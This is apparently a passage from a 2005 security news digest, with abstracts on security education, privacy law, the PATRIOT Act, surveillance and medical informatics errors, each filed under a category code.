Well, I imagine reading the following in Time Magazine: "The White House official said, 'We are not going to hire body guards who have been trained at school X because we don't like the perception of having someone on staff who has been trained to kill." Would you forgive me for laughing?

Rob Slade further writes: I can vaguely see a dim advantage to having students write viruses in order to understand them (rather inefficiently, in terms of time spent), but getting them to write a spamming program in order to understand how to fight spam seems even less effective.

Not all approaches to learning something are equally effective, and in an area where something is being pioneereed, the first steps may not be quite in the right direction or not as effective as future approaches. But that alone is not a good reason to abolish a certain curriculum. My question would be "What would make this training more effective?"

....I hope one day we will see malware courses in all university computer science programs - then I would have reason to be more optimistic that the "security mess" we are finding ourselves in might be cleaned up. Creativity, more than anything else, is what we need to deal with the future, and anybody who fosters and harnesses such creativity has my vote.<

Matthew Holmes pointed out in RISKS 23.71 that contrary to Slade's dismissive comments, Aycock does in fact publish technical articles:

>I did survey Aycock's professional literature, much of which is available on-line, and I notice that a great deal of it centers on reverse-engineering methodology, compiler/parser theory, etc. These are in fact the tools of the virus writer - the real ones, not the script kiddies and buffer-overflow people.<

Category 37.3	Undergraduate degrees
2005-02-16	software vendor quality assurance blame college security education secure programming responsibility NSA DoD

DHS IAIP Daily;

http://news.com.com/Software+firms+fault+colleges+security+e ducation/2100-1002_3-5579014.html

SOFTWARE FIRMS FAULT COLLEGES' SECURITY EDUCATION.

In a panel session Tuesday, February 15, at the Secure Software Forum in San Francisco, Oracle, Microsoft and other software makers attempted to analyze why flawed software is still overwhelmingly the rule and not the exception in the industry. A major contributor, the companies said, is college students' lack of a good grounding in secure programming. Many software makers believe that better training of computer science graduates is a key step toward improving software quality, but some security researchers have criticized the industry, pointing out that industry demand for programmers generally does not give preference to those trained in secure programming. To influence curricula, private industry has established scholarships at universities. Also, several federal agencies, including the Department of Defense and the National Security Agency, have named several college programs as National Centers of Academic Excellence in a variety of security disciplines. However, some panel members laid the blame for the problems squarely at the feet of software makers. Until companies are willing to foot the bill for security, applications will not get better, said Fred Rica, a partner in PricewaterhouseCoopers' Threat and Vulnerability Assessment Services.

37.7 Conferences

Category 37.7 Conferences

Iowa State University Cyber Defense competition network security skills practice

DHS IAIP Daily;

2005-11-25

http://www.iowastatedaily.com/media/paper818/news/2005/11/18 /News/Students.Fight.It.Pros.In.Hacker.Competition-1110048.s html?norewrite&sourcedomain=www.iowastatedaily.com

STUDENTS FIGHT IT PROS IN HACKER COMPETITION

Students at Iowa State University competed in the university's second-annual Cyber Defense Competition on Friday, November 18 through Saturday, November 19. During the event, several student teams competed against a group of Internet technology professionals whose job it is to hack into and disrupt each team's network. Thad Gillispie, a graduate student in electrical and computer engineering, said that the students had a chance to see what they really know about network security as well as learn more. It also provides the students with an opportunity to see Internet security from a point of view that is not often represented and helps them start to appreciate Internet services being there when they want them, Gillispie said.

37.8 Web sites

Category 37.8	Web sites		
2005-09-06	Web application design security programming training educa free download	tion hands-o	on online
RISKS; http://www.o	wasp.org/software/webgoat.html	24	04

WEBGOAT 3.7 - APPLICATION SECURITY HANDS-ON LEARNING ENVIRONMENT

The *only* way to learn application security is to test applications "hands on" and examine their source code. To encourage the next generation of application security experts, the Open Web Application Security Project (OWASP) has developed an extensive lesson-based training environment called "WebGoat".

WebGoat is a lessons based, deliberately insecure web application designed to teach web application security. Each of the 25 lessons provides the user an opportunity to demonstrate their understanding by exploiting a real vulnerability. WebGoat provides the ability to examine the underlying code to gain a better understanding of the vulnerability as well as provide runtime hints to assist in solving each lesson. V3.7 includes lessons covering most of the OWASP Top Ten vulnerabilities and contains several new lessons on web services, SQL Injection, and authentication.

WebGoat 3.7 is available for free download from: < http://www.owasp.org/software/webgoat.html >.

Simply unzip, run, and go to WebGoat in your browser to start learning.

The OWASP Foundation is dedicated to finding and fighting the causes of insecure software. Find out more at < http://www.owasp.org >.

38.2 Trade in personal information

Category38.2Trade in personal information2005-05-06unit record database Department of Education personal information disclosure
security break civil liberties privacy concerns

EDUPAGE; http://chronicle.com/prm/weekly/v51/i35/35a03701.htm

PROPOSED DATABASE WORRIES SECURITY EXPERTS

Amid a rash of corporate and institutional data breaches recently, security experts are questioning whether a "unit record" database proposed by the Department of Education could be kept secure. Currently the department collects aggregate data on college students and graduation rates. A unit record database would track individual students through their college careers, presenting what some see as an extremely tempting target for hackers. The current system would force a hacker to "compromise several databases," according to Eugene Spafford, professor of computer sciences and electrical and computer engineering at Purdue University, whereas with a database like the one proposed, "it's possible to attack it from any point in the system." Barbara Simons, former president of the Association for Computing Machinery, was also concerned about a unit record database, suggesting that it might not be the safest way to accomplish the department's goals. Grover Whitehurst, director of the Institute of Education Sciences at the Education Department, said the agency is investigating security options for the proposed database and welcomes suggestions. He noted that the system might not use Social Security numbers as identifiers and said that if the information in the system were limited in scope, it would not be very appealing to hackers. Chronicle of Higher Education, 6 May 2005 (sub. req'd)

Category 38.2	Trade in personal information
2005-06-23	privacy Social Security Numbers SSN database recruitment privacy security safety system design

RISKS 23 93 Dod MILITARY RECRUITMENT DATABASE INCLUDES SSN

The Defense Department has begun working with BeNow Inc, a private marketing firm, to create a database of high school students ages 16 to 18 and all college students to help the military identify potential recruits in a time of dwindling enlistment in some branches.

The program is provoking a furor among privacy advocates. The new database will include personal information including birth dates, Social Security numbers, e-mail addresses, grade-point averages, ethnicity and what subjects the students are studying.

Chris Jay Hoofnagle, West Coast director of the Electronic Privacy Information Center, called the system "an audacious plan to target-market kids, as young as 16, for military solicitation." He added that collecting Social Security numbers was not only unnecessary but posed a needless risk of identity fraud. Theft of Social Security numbers and other personal information from data brokers, government agencies, financial institutions and other companies is rampant. "What's ironic is that the private sector has ways of uniquely identifying individuals without using Social Security numbers for marketing."

The Pentagon statements said the military is "acutely aware of the substantial security required to protect personal data," and that Social Security numbers will be used only to "provide a higher degree of accuracy in matching duplicate data records."

[Abstract by Peter G. Neumann]

Category38.2Trade in personal information2005-07-08EPIC data broker investigation FTC cell phone records trade in personal
information

EDUPAGE; http://online.wsj.com/article/0,,SB112077534843280100,00.html

EPIC CALLS FOR INVESTIGATION OF DATA BROKERS

The Electronic Privacy Information Center (EPIC) this week filed a complaint with the Federal Trade Commission (FTC) asking the agency to investigate the business practices of companies that sell information such as cell phone records. The complaint focuses on a company called Intelligent e-Commerce Inc., which sells information including cell phone records and the identities of holders of post office boxes. In its complaint, EPIC contends that the collection and sale of such information likely violates federal regulations or statutes and asks the FTC to force Intelligent e-Commerce to discontinue the sale of such information pending a full investigation. According to EPIC, some data brokers obtain information fraudulently by pretending to be someone who is authorized to access that information. A spokesperson for Intelligent e-Commerce Inc. said company officials and attorneys are not aware of any laws that they are breaking. Wall Street Journal, 8 July 2005 (sub. req'd)

38.3 Industry efforts for privacy protection

Category	38.3	Industry efforts for privacy protection		
2005-02-	15	privacy technology society audio commentary awareness		
RISKS			23	72
"THE MOTHER IS BACK!" ANNOUNCING "DAYTHINK" AUDIO FEATURES				

Lauren Weinstein of the Privacy Forum wrote:

Greetings. I'm pleased to announce "DayThink" -- a new series of very brief (one-minute) MP3 audio features illuminating a wide range of relevant and important topics. Each day's feature will focus on one specific issue affecting our lives -- issues definitely worth thinking about. Many of these segments will deal directly with the impacts of technology on individuals and society.

DayThink features can be accessed via the DayThink main page at: http://daythink.vortex.com

The debut segment is titled: "The Mother is Back!"

and looks at the current round of telecom mergers and what they may mean for us all.

A notification mailing list has been established that will send out a brief message to subscribers as each new feature becomes available (never more than one per day), including the segment title, a brief description, and a link to the feature audio itself that can be played at one's leisure.

Subscriptions to that list can be established via: http://lists.vortex.com/mailman/listinfo/daythink

or by simply sending a note (no subject or body necessary) to: daythink-subscribe@vortex.com

I hope that these features will be of some value in helping folks wade through the maze of many important issues.

Thanks very much.

Lauren Weinstein lauren@pfir.org lauren@vortex.com lauren@privacyforum.org 1 818-225-2800 http://www.pfir.org/lauren Fact Squad - http://www.factsquad.org

<i>Category 38.3</i> 2005-03-25	Industry efforts for privacy protection intellectual property entertainment policy initiative cooperat	ion	
RISKS; http://www. EEPI - ELECTRONIC	eepi.org CENTERTAINMENT POLICY INITIATIVE	23	81
Long-time privacy advocate Lauren Weinstein wrote:			
I'm pleased to announce "EEPI" (http://www.eepi.org), a new initiative aimed at fostering cooperation in the areas of electronic entertainment and its many related issues, problems, and impacts.			
I've teamed with 30+ year recording industry veteran Thane Tierney in this effort to find cooperative solutions to technical			

I've teamed with 30+ year recording industry veteran Thane Tierney in this effort to find cooperative solutions to technical, legal, policy, and other issues relating to the vast and growing range of electronic technologies that are crucial to the entertainment industry, but that also impact other industries, interest groups, individuals, and society in major ways.

There are many interested parties, including record labels, film studios, the RIAA, the MPAA, artists, consumers, intellectual freedom advocates, broadcasters, manufacturers, legislators, regulators, and a multitude of others.

The issues cover an enormous gamut from DVDs, CDs, and piracy issues to multimedia cell phones, from digital video recorders to Internet file sharing/P2P, from digital TV and the "broadcast flag" to the Digital Millennium Copyright Act (DMCA) and "fair use" controversies.

Working together, rather than fighting each other, perhaps we can all find some broadly acceptable paths that will be of benefit to everyone.

For more information, please see the EEPI Web site at:

http://www.eepi.org

A moderated public discussion list and an EEPI announcement list are now available at the site.

Public participation is cordially invited. Thank you very much.

Lauren Weinstein lauren@pfir.org or lauren@vortex.com or lauren@eepi.org +1 (818) 225-2800 http://www.pfir.org/lauren http://lauren.vortex.com http://www.pfir.org http://www.vortex.com

Category 38.3	Industry efforts for privacy protection
2005-10-04	client server model remote processing history merger policy privacy officer searches
	records copyright intellectual property

24

06

GOOGLE PRIVACY POLICIES NEED REFINEMENT

RISKS

Lauren Weinstein published an open letter berating Google (and Sun Microsystems) for Google's lack of privacy policies. Among other sins, he cited these [MK quoting liberally from LW's letter]:

* Google keeps records of your searches, and can tie them to other activities via cookies. Google scans the e-mail you send and receive through Gmail. Google collects a variety of information on your other browsing activities through various optional toolbars and services.

* Google wants to make copies of copyrighted books without paying for them. Arguments about how they might make "snippets" of such materials available in "Google Print" aside, the internal R&D value alone of that collection to Google would presumably be immense, and all without sending a dime to the copyright holders.

* When CNET ran a story using Google to research data on Google's chief exec, Google reacted like an enraged and petulant child.

* Now, with the new Sun Micro deal, if hosted versions of word processing and related applications are developed and deployed by the joint Google and Sun team, Google could quite possibly be tied into your document editing and other Office-like activities if you use such services.

* Google refuses to hire a privacy officer (after all, they're the "Trust us -- First do no evil" company, and they're smarter than everyone else about... well... everything, right?)

* Google refuses to detail their data retention policies or the extent to which they make that growing corpus of data available to outside entities.

*...Sun's Scott McNealy ... has famously said: "You have no privacy, get over it" and ... suggested that consumer privacy is a "red herring" issue.

Weinstein urged Google and Sun to consult with the privacy community and personally offered to help. However, he wrote, "I won't be holding my breath waiting for their call."

38.5 EU legislation & regulation concerning privacy

Category38.5EU legislation & regulation concerning privacy2005-09-15Holland Netherlands Dutch Ministry of Health citizen tracking permanent
government agencies

EDUPAGE; http://www.wired.com/news/privacy/0,1848,68866,00.html

DUTCH TO TRACK ALL CITIZENS, FOREVER

Beginning in 2007, the Dutch Ministry of Health will begin tracking all citizens of the country in a single database from their births to their deaths. Each person will be added to the database at birth, with health and family information included. As people in the database age, information from schools, doctors, and the police will be added. In an effort to protect privacy, no individual will be permitted to see any person's complete file. Various governmental agencies, however, will be able to add "red flags" to a file if they notice something that might be cause for concern, according to Jan Brouwer, spokesperson for the Health Ministry. Brouwer suggested that someone at child protection services might find that for an individual, red flags had been added by the police, the school, and a doctor, which would likely indicate a problem that should be addressed. Truancy is often correlated with criminality, for example, and the new database will allow tracking such patterns. Wired News, 15 September 2005

Category38.5EU legislation & regulation concerning privacy2005-09-26Europe EU data retention plans criticism terrorism anti-terrorism Convention on
Human rights civil liberties Internet phone logging

EDUPAGE; http://www.siliconvalley.com/mld/siliconvalley/12746814.htm

EU DATA-RETENTION PLANS DRAW CRITICISM

Peter Hustinx, data protection supervisor for the European Union (EU), has voiced his criticism of two antiterrorism proposals for their stance on data retention. Neither the proposal by the European Commission nor one drafted by EU governments makes a compelling case for holding on to sensitive data as part of antiterrorism efforts, said Hustinx. The EU proposal, he noted, would allow for the retention of information such as times of phone calls for up to three years. Hustinx said that any measures put forth should comply with the European Convention on Human Rights. Those that do not are "not just unacceptable but illegal." The chair of the EU negotiations, British Home Secretary Charles Clarke, is urging European governments to forgo some measure of civil liberties in return for broader authority for law enforcement to investigate suspected terrorists. San Jose Mercury News, 26 September 2005

38.6 US legislation & regulation concerning privacy

Category 38.6 US legislation & regulation concerning privacy

2005-02-14 Real ID Act privacy homeland security privacy licenses trojan

NewsScan; http://news.com.com/From+high-

tech+drivers+licenses+to+national+ID+cards/2100-1028_3-5573414.html

'SMART' DRIVER'S LICENSES A TROJAN HORSE?

A move by Congress to endorse a Republican-backed measure that would compel states to redesign their driver's licenses by 2008 to comply with standards for making them electronically readable has critics questioning government's motives, saying it gives the Department of Homeland Security carte blanche to do nearly anything "to protect the national security interests of the United States." Rep. Ron Paul (R-Texas) says, "Supporters claim it is not a national ID because it is voluntary. However, any state that opts out will automatically make nonpersons out of its citizens. They will not be able to fly or to take a train." Proponents of the Real ID Act say it reflects the recommendations of the 9/11 Commission and will help in the battle against terrorism and efforts to identify illegal immigrants. But Paul says, "In reality, this bill is a Trojan horse. It pretends to offer desperately needed border control in order to stampede Americans into sacrificing what is uniquely American: our constitutionally protected liberty." (CNet News.com 14 Feb 2005)

Category 38.6 US legislation & regulation concerning privacy

2005-02-15 law legal spyware Florida wiretapping

NewsScan; http://news.com.com/Court+Wife+broke+law+with+spyware/2100-1030_3-5577979.html

WIFE BROKE LAW IN USING SPYWARE

A Florida appeals court has ruled that a suspicious wife, who installed spyware on her husband's computer to secretly monitor and record his electronic interactions with another woman, violated Florida's wiretapping law. The law says anyone who "intentionally intercepts" any "electronic communication" commits a criminal act. The wife had argued that her use of Spector spyware should be viewed as similar to reading a stored file on her husband's computer. But Judge Donald Grincewicz wrote that "because the spyware installed by the wife intercepted the electronic communication contemporaneously with transmission, copied it and routed the copy to a file in the computer's hard drive, the electronic communications were intercepted in violation of the Florida Act." (CNet News.com 15 Feb 2005)

Category 38.6 US legislation & regulation concerning privacy

2005-03-24 federal agencies bank security breach customer disclosure Fair and Accurate Credit Transactions Act FACT

EDUPAGE; http://www.pcworld.com/news/article/0,aid,120168,00.asp

FEDS ORDER BANKS TO DISCLOSE BREACHES

Four federal agencies have released regulations requiring banks and other financial institutions to notify customers when a security breach presents a risk that their personal information may be misused. The Federal Reserve, the Federal Deposit Insurance Corporation, the Office of the Comptroller of the Currency, and the Office of Thrift Supervision deliberated for 18 months on how federal legislation, including the Fair and Accurate Credit Transactions (FACT) Act, should be interpreted. The resulting "guidance" stipulates that when personal information is accessed without authorization and misuse of that information has occurred or is reasonably possible, institutions must notify affected customers "as soon as possible." In all cases, even those that do not meet the standard set for notifying customers, institutions must notify their primary federal regulators of the breach. Delays in notifying customers are permissible if such notification is determined to jeopardize an investigation into the breach. PCWorld, 24 March 2005

Category 38.6 US legislation & regulation concerning privacy 2005-04-29 civil liberties privacy concerns USA PATRIOT Act renewal House Senate ACLU critical litigation

EDUPAGE; http://chronicle.com/prm/daily/2005/04/2005042901t.htm

HEARINGS FOCUS ON LIBRARY PROVISIONS OF USA PATRIOT ACT

Amid both House and Senate hearings on whether to renew certain portions of the USA PATRIOT Act, supporters and critics of Section 215, which authorizes law enforcement to obtain records from libraries and other institutions, have lined up to voice their opinions. Section 215 allows gaining access to various types of records with only the approval of a secret court. Further, those whose information has been collected are barred from disclosing that fact, even to attorneys. Representatives of the American Civil Liberties Union (ACLU), which has been highly critical of the legislation, said they could support its renewal if several concessions were made, including limiting the authority to investigate only "agent[s] of a foreign power" and eliminating the gag order for those under investigation. Groups including the American Library Association said they supported the ACLU's recommendations. Rep. Howard Coble (R-N.C.) defended the law as it stands, saying there has been much "misinformation" about Section 215 and how it has been used. Kenneth L. Wainstein, U.S. attorney for the District of Columbia, said that the law has not been used to obtain records from libraries, though he acknowledged that it could be used that way in the future. Chronicle of Higher Education, 29 April 2005 (sub. req'd)

Category38.6US legislation & regulation concerning privacy2005-06-15civil liberties privacy concerns USA PATRIOT Act powers limited US House of

Representatives patron information disclosure

EDUPAGE; http://www.wired.com/news/privacy/0,1848,67880,00.html

HOUSE VOTES TO LIMIT PATRIOT ACT

The U.S. House of Representatives has voted 238-187 to impose limits on the powers of the Patriot Act. Sponsored by Rep. Bernard Sanders (I-Vt.), the measure would eliminate federal authority granted by the Patriot Act to compel libraries and bookstores to disclose information about books their patrons have checked out or bought, without first obtaining a search warrant; the measure would preserve the right for government officials to obtain Internet search records from libraries. Although Attorney General Alberto Gonzales recently told Congress that federal authorities have never invoked the power, a number of libraries have begun deleting patron records to preempt the possibility of having to turn them over. Sanders called the vote "a tremendous victory that restores important constitutional rights to the American people." Rep. Tom Feeney (R-Fla.) defended the powers, saying that federal authorities need tools to help them identify planned terrorist activities and prevent attacks before they happen. The measure has not been introduced by the Senate, and President Bush has promised to veto the bill if it passes. Wired News, 15 June 2005

Category38.6US legislation & regulation concerning privacy2005-07-15GAO Information Security rely tampering disruptions operations fraud disclosure
account FISMA GAO

DHS IAIP Daily; http://www.gao.gov/cgi-bin/getrpt?GAO-05-552

INFORMATION SECURITY: WEAKNESSES PERSIST AT FEDERAL AGENCIES DESPITE PROGRESS MADE IN IMPLEMENTING RELATED STATUTORY REQUIREMENTS (REPORT)

Federal agencies rely extensively on computerized information systems and electronic data to carry out their missions. The security of these systems and data is essential to prevent data tampering, disruptions in critical operations, fraud, and inappropriate disclosure of sensitive information. Concerned with accounts of attacks on systems via the Internet and reports of significant weaknesses in federal computer systems that make them vulnerable to attack, Congress passed the Federal Information Security Management Act (FISMA) in 2002. In accordance with FISMA requirements that the Comptroller General report periodically to the Congress, GAO's objectives in this report are to evaluate (1) the adequacy and effectiveness of agencies' information security policies and practices and (2) the federal government's implementation of FISMA requirements. GAO recommends that the Director of the Office of Management and Budget (OMB) implement improvements in the annual FISMA reporting guidance. In commenting on a draft of this report, OMB agreed with GAO's overall assessment of information security at agencies but disagreed with aspects of our recommendations to enhance its FISMA reporting guidance.

Category 38.6 US legislation & regulation concerning privacy 2005-07-28 Congress measures Personal Data Privacy and Security Act FTC Social Security Number sale

EDUPAGE; http://news.com.com/2100-7348_3-5808894.html

CONGRESS GETS SERIOUS ABOUT DATA PRIVACY

Ahead of its August recess, Congress moved data-security measures to the top of its agenda, with various House and Senate committees considering three different bills dealing with the protection of sensitive information. The broadest legislation being considered is the Personal Data Privacy and Security Act, which would place new restrictions on how personal information may be used and imposes criminal penalties for those found to have violated it. The bill would limit the sale and publication of Social Security numbers, require notification of consumers in the event their personal data is compromised, and restrict the authority of the states in writing their own regulations for data protection. Other bills working their way through the Senate include similar requirements that consumers be notified of data breaches, but they only include civil penalties. The other measures, including one passed by the Senate Commerce Committee, place oversight and enforcement authority with the Federal Trade Commission (FTC). Critics of the proposed legislation argue that it is being rushed through without proper discussion. CNET, 28 July 2005

Category 38.6 US legislation & regulation concerning privacy 2005-08-26 civil liberties privacy concerns USA PATRIOT Act government surveillance Supreme Court decision Connecticut library FBI investigation ACLU lawsuit litigation

EDUPAGE; http://www.nytimes.com/2005/08/26/politics/26patriot.html

FBI SEEKS LIBRARY RECORDS

According to the American Civil Liberties Union (ACLU), the FBI is using one of the powers granted by the USA PATRIOT Act to demand the records of a library in Connecticut. Because the USA PATRIOT Act also forbids disclosure of details surrounding such investigations, the name of the library in question is being kept confidential, though it is known to be a member of the American Library Association. At issue is the authority to subpoena library records using something called a national security letter, which does not require a judge's approval. The ACLU has filed a federal lawsuit on behalf of the library, saying "it should not be forced to disclose such records without a showing of compelling need and approval by a judge." Anthony D. Romero, executive director of the ACLU, said, "This is a prime example of the government using its Patriot Act powers without any judicial oversight to get sensitive information on law-abiding Americans." The FBI did not comment on the lawsuit, but the agency's national security letter noted that it was seeking the library records as part of an investigation "to protect against internal terrorism or clandestine intelligence activities." New York Times, 26 August 2005 (registration req'd)

Category38.6US legislation & regulation concerning privacy2005-11-11privacy concerns USA PATRIOT Act US government surveillance bill law Congress
terrorism anti-terrorism

EDUPAGE; http://chronicle.com/daily/2005/11/2005111101t.htm

CONGRESS EXAMINES CONTROVERSIAL PORTIONS OF PATRIOT ACT

Members of a Congressional committee this week took up discussions of the USA PATRIOT Act, including two highly controversial sections of the law. Several provisions of the law are scheduled to expire this year, and the committee is charged with reconciling House and Senate proposals to extend those provisions. Expected to be the focus of the discussions are Sections 215 and 505, which greatly expand federal authority to obtain information such as phone and library records on individuals and which prevent those under investigation from revealing, even to their attorneys, that they are under investigation. Advocates for civil liberties have been pressing federal officials for details on how these key sections of the law have been applied, including a letter recently sent by five U.S. Senators to Attorney General Alberto Gonzales, demanding data on how many so-called national security letters have been issued since the PATRIOT Act was enacted. Although federal officials have revealed few specifics, supporters of the legislation argue that "vigorous oversight by congressional committees has uncovered no instances of abuse," according to Sen. Pat Roberts (R-Kans.). Rep. John Conyers (D-Mich.) noted, "The very act of surveilling citizens who aren't even suspected of wrongdoing is an abuse in itself." Chronicle of Higher Education, 11 November 2005 (sub. req'd)

Category38.6US legislation & regulation concerning privacy2005-11-18privacy concerns USA PATRIOT Act extension opposition US government
surveillance bill law House Senate terrorism anti-terrorism

EDUPAGE; http://chronicle.com/daily/2005/11/2005111801t.htm

REACTION TO EXPECTED EXTENSION OF PATRIOT ACT PROVISIONS

Groups opposed to two provisions of the USA PATRIOT Act up for review expressed disappointment at a tentative plan to extend both. The proposed extension was written by a conference committee charged with reconciling House and Senate versions of a bill covering the parts of the act that will otherwise expire at the end of the year. Under the plan, the provision that allows the government to issue so-called national security letters without a judge's approval would be made permanent and would allow for criminal prosecutions of individuals who reveal that they have received such a letter. The plan does not make changes to the second section of the act at issue, the library provision, that were included in the Senate bill. Those changes included requiring the government to demonstrate a connection between terrorists and individuals whose records were sought. The Senate bill also called for another review of the library provision in four years; under the proposal, it would not be reviewed for seven years. The plan does include limited concessions. Those who receive national security letters would be allowed to discuss them with their attorneys, and the government would be required to disclose certain details about how the national security letters are used. Chronicle of Higher Education, 18 November 2005 (sub. Req'd)

 Category
 38.6
 US legislation & regulation concerning privacy

 2005-12-06
 California law bill data security standards privacy protection state government efforts

 EDUPAGE; http://chronicle.com/daily/2005/12/2005120601t.htm

 CALIFORNIA LAW SETS NEW DATA-SECURITY STANDARDS

California has passed a new data-protection law that may serve as a model for other states, despite the reaction of academic researchers, many of whom see it as an obstacle to their efforts at conducting research efficiently. The new law is intended to safeguard individuals' personal information when it is used by any research organization. Under the law, before any state agency may release personal data, the state's Committee for the Protection of Human Subjects must assess the research and determine whether it would adequately protect the requested data. Researchers seeking data from state agencies must show that the data are necessary; ensure that data are destroyed or returned when the project is completed; and, when possible, use information other than Social Security numbers as unique identifiers for subjects. Academic researchers largely object to the new law, saying

 it will impede some aspects of their research. Chronicle of Higher Education, 6 December 2005 (sub. req'd)

 Category 38.6
 US legislation & regulation concerning privacy

2005-12-15 Internet policing privacy FTC act spam control foreign governments

DHS IAIP Daily; http://news.zdnet.com/2100-9588_22-5996703.html

SENATE PANEL APPROVES MORE INTERNET-POLICING POWERS

The Federal Trade Commission (FTC) would gain expanded policing powers and could share information about spammers and other miscreants with foreign governments under a bill approved Thursday, December 15, by a U.S. Senate panel. Called the Undertaking Spam, Spyware, and Fraud Enforcement with Enforcers Beyond Borders Act of 2005, the proposal is nearly identical to legislation pushed by the FTC itself two years ago that drew concerns from civil liberties groups and was never enacted. In essence, the bill would expand existing FTC powers so that the agency could go after any "unfair or deceptive practices" that are likely to cause "foreseeable injury" on U.S. soil or involve conduct in the United States. Intended by its sponsors to help combat such menaces as spam, spyware and telemarketing fraud carried out on international turf, the bill would allow the FTC to collaborate with foreign law enforcement agencies and swap information on a reciprocal basis. Further detail on this Act can be found at: http://thomas.loc.gov/cgi-bin/bdquery/z?d109:s.01608:

38.9 Surveillance

Category 38.9	Surveillance
2005-02-07	Poland spies list online data leakage confidentiality spies informers government
	surveillance

NewsScan; http://australianit.news.com.au/articles/0

POLAND'S SPIES EXPOSED ONLINE

A leaked list containing the names of about 240,000 people who allegedly spied for Poland's former communist regime has overtaken sex as the hottest search item on the Net in Poland. "This thing is huge. We have recorded around 100,000 Internet searches a day for the list, which is 10 times the number looking for sex," Piotr Tchorzewski, who works at Poland's biggest Internet portal Onet, told Rzeczpospolita Daily. The list, which contains in alphabetical order the names of alleged agents and collaborators of the communist-era secret service, mixed together with the names of those who were allegedly spied on, has also been put up for auction on the Internet, but its bid price late today -- 2.99 zlotys (about \$AU1.25) -- was hardly breaking records. (The Australian 7 Feb 2005)

Category 38.9 Surveillance

2005-08-05

RISKS; http://cellphones.engadget.com/entry/1234000563053276/		02
UK CELLPHONE OPERATORS CAN INST'ALL SURVEILLANCE SOFTWARE ON HAN	DSETS	

We're always a little wary of that very blurry line between protection of the general public and infringements on basic civil liberties, but it would appear that according to the Financial Times by way of the Guardian, at least one UK cellphone carrier not only has the power (and mandate) to remotely install software over the air to users' handsets that would allow for the kind of monitoring we thought only perverts and paranoiacs had access to: picking up audio from the phone's mic when the device isn't on a call. While don't think the backlash on this one has really gotten underway yet, and though we do hate to rock a cliché', we can't help but be reminded of that classic Benjamin Franklin quote, ``They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." What's worse, a cellphone carrier and The Man are gonna take it from us without our permission on the sly?

[Abstract and comments from Dave Farber]

Category 38.9 Surveillance

2005-09-22 eavesdripping surveillance inference artificial intelligence data leakage

Nature < http://www.nature.com/news/2005/050919/pf/050919-9_pf.html >

KEYBOARD NOISE ALLOWS INFERENCE ABOUT WHAT'S BEING TYPED

Using sophisticated artificial intelligence programs, scientists from UC Berkeley have been able to deduce what people are typing simply from the sounds of the different keys. Doug Tygar and colleagues say that they don't need to study the individual keyboard -- the programs use the differences in sounds of keys on the outer side of the keyboard vs the sounds of the inside keys. The microphones can be outside the room being monitored. Over time, the software gets better, and "Once our algorithm has ten minutes' worth of typed English, it can recover arbitrary text, such as passwords," says Tygar.

38.A Medical / HIPAA

Category 38.A	Medical / HIPAA
2005-02-04	Canada privacy medical outsource USAPATRIOT Act data mining leakage
	confidentiality ChoicePoint immigration customers employees activists

NewsScan; http://www.wired.com/news/privacy/0

CANADIANS UP IN ARMS OVER HEALTH INFO PRIVACY

Activists with the British Columbia Civil Liberties Association say that plans to outsource storage of Canadian citizens' health records to a U.S. company places that sensitive information in jeopardy. They fear that putting the data in the hands of Maximus Can, a subsidiary of U.S.-based Maximus, could lead to data-mining exercises, such as those that involved passenger records from JetBlue and other airlines. Or, as in the case with data on Latin American citizens purchased in 2003 by ChoicePoint that was then sold to U.S. immigration authorities, it could be used to prevent British Columbians with serious health issues, such as AIDS, from entering the U.S. Under the U.S. Patriot Act, U.S. companies can be forced to reveal information while prohibited from telling customers or employees that it has been shared. Activists fear that reach will extend to subsidiaries of U.S. companies operating outside its borders. "There really isn't a database of cross-referenced information that you could consider to be more personal... The potential for this information to be used and misused is great," says Michael Vonn, policy director for the British Columbia Civil Liberties Association. (Wired.com 4 Feb 2005)

 Category 38.A
 Medical / HIPAA

 2005-03-11
 medical hospital informatics security quality assurance QA errors iatrogenic illness drug dosage prescriptions flaws bugs user confusion medications patients doctors nurses computers

23 79

COMPUTERIZED PHYSICIAN ORDER ENTRY SYSTEMS STILL TROUBLESOME

Charles J. Wertz provided abstracts for two interesting articles:

RISKS

The 9 Mar 2005 issue of the *Journal of the American Medical Association* contains two articles and an editorial that should be of interest to Risks readers.

ROLE OF COMPUTERIZED ORDER ENTRY SYSTEMS IN FACILITATING MEDICATION ERRORS discusses a variety of issues including poor interface design requiring a physician to look at as many as 20 screens to see all the information about a patient, misleading and frequently misinterpreted dosage information, dosage change requires adding the new and deleting the old, poor integration of multiple systems, poor handling of discontinuation and resumption of medications, loss of orders and others. This article appears to be the result of a well done comprehensive study at one specific hospital.

The Editorial, COMPUTER TECHNOLOGY AND CLINICAL WORK: STILL WAITING FOR GODOT makes a number of good points such as, "The misleading theory about technology is that technical problems require technical solutions; ie, a narrowly technical view that leads to a focus on optimizing the technology. In contrast, a more useful approach views the clinical workplace as a complex system in which technologies, people, and organizational routines dynamically interact." Anyone interested in systems design will find this interesting.

The other Article, EFFECTS OF COMPUTERIZED CLINICAL DECISION SUPPORT SYSTEMS ON PRACTITIONER PERFORMANCE AND PATIENT OUTCOMES: A SYSTEMATIC REVIEW provides a comprehensive review of the topic.

Category 38.A Medical / HIPAA 2005-03-12 medical hospital informatics security quality assurance QA errors iatrogenic illness drug dosage prescriptions flaws bugs user confusion medications patients doctors nurses computers blame game shifting responsibility administrators management

RISKS

79

23

COMPUTERS IN HOSPITALS BLAMED FOR HUMAN ERROR

In response to several articles about how awful biomedical informatics systems are, Bob Morrell retorted that administrators readily blame computers for errors committed by their staff:

>Recent coverage of a JAMA article on the patient errors (cited by R. Akerman in RISKS-23.78) caused by computers will likely be cited by those who resist the movement towards an electronic medical record. This despite the fact that all acknowledge that the current mixed state of computerized and non-computerized medical systems is abysmal. My perspective on this is that we often miss the core truth of most medical mistakes: they are caused by humans, not computers. In the 1990's I developed several programs designed to find medical mistakes. As such, I spent a lot of time analyzing mistakes, and dealing with defensive reactions by physicians and nurses to the mistakes found. The most common mistake, at its core, was raw human misunderstanding: conceptual misunderstanding leading to misinterpretation of medical data (surgeons who thought the higher the bacterial MIC number, the better the antibiotic, when the reverse is true, and therefore put the patient on an antibiotic guaranteed to be ineffective). A close second was communication failures, where a key report was pocketed, lost or otherwise not communicated to others who would understand its importance.

